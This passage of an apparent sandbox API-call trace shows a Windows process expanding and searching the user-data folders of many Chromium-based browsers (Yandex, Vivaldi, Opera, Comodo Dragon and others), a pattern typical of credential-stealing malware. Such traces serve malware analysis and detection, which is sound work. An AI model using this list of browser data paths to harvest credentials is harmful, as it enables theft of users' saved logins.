ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0057.638] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0057.638] FindNextFileW (in: hFindFile=0x68d540, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0057.638] FindClose (in: hFindFile=0x68d540 | out: hFindFile=0x68d540) returned 1 [0057.638] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x49 [0057.638] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.645] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.645] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.645] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\") returned 0x3c [0057.645] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.645] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.645] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.645] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x4c [0057.645] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.645] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.645] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.645] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x45 [0057.645] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.645] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.645] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.645] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\") returned 0x3d [0057.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.646] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.646] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.646] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x3f [0057.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.646] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.646] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.646] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Bromium\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\") returned 0x3f [0057.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Bromium\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.646] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.646] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.646] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Chromium\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\") returned 0x40 [0057.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Chromium\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.646] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.646] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.646] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Nichrome\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\") returned 0x40 [0057.646] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Nichrome\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.647] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.647] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.647] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\RockMelt\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\") returned 0x40 [0057.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\RockMelt\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.647] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.647] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.647] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\360Browser\\Browser\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\") returned 0x4a [0057.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\360Browser\\Browser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.647] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.647] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.647] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Vivaldi\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\") returned 0x3f [0057.647] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Vivaldi\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.647] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.647] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.648] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Opera Software\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\") returned 0x3e [0057.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Opera Software\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.648] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.648] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.648] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Go!\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\") returned 0x3b [0057.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Go!\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.648] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.648] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.648] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Sputnik\\Sputnik\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\") returned 0x47 [0057.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Sputnik\\Sputnik\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0xffffffff [0057.648] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@﵄k䃭@\x05")) returned 0 [0057.648] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0057.648] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Kometa\\User Data\\", lpDst=0x6bfd44, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\") returned 0x3e [0057.648] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Kometa\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, 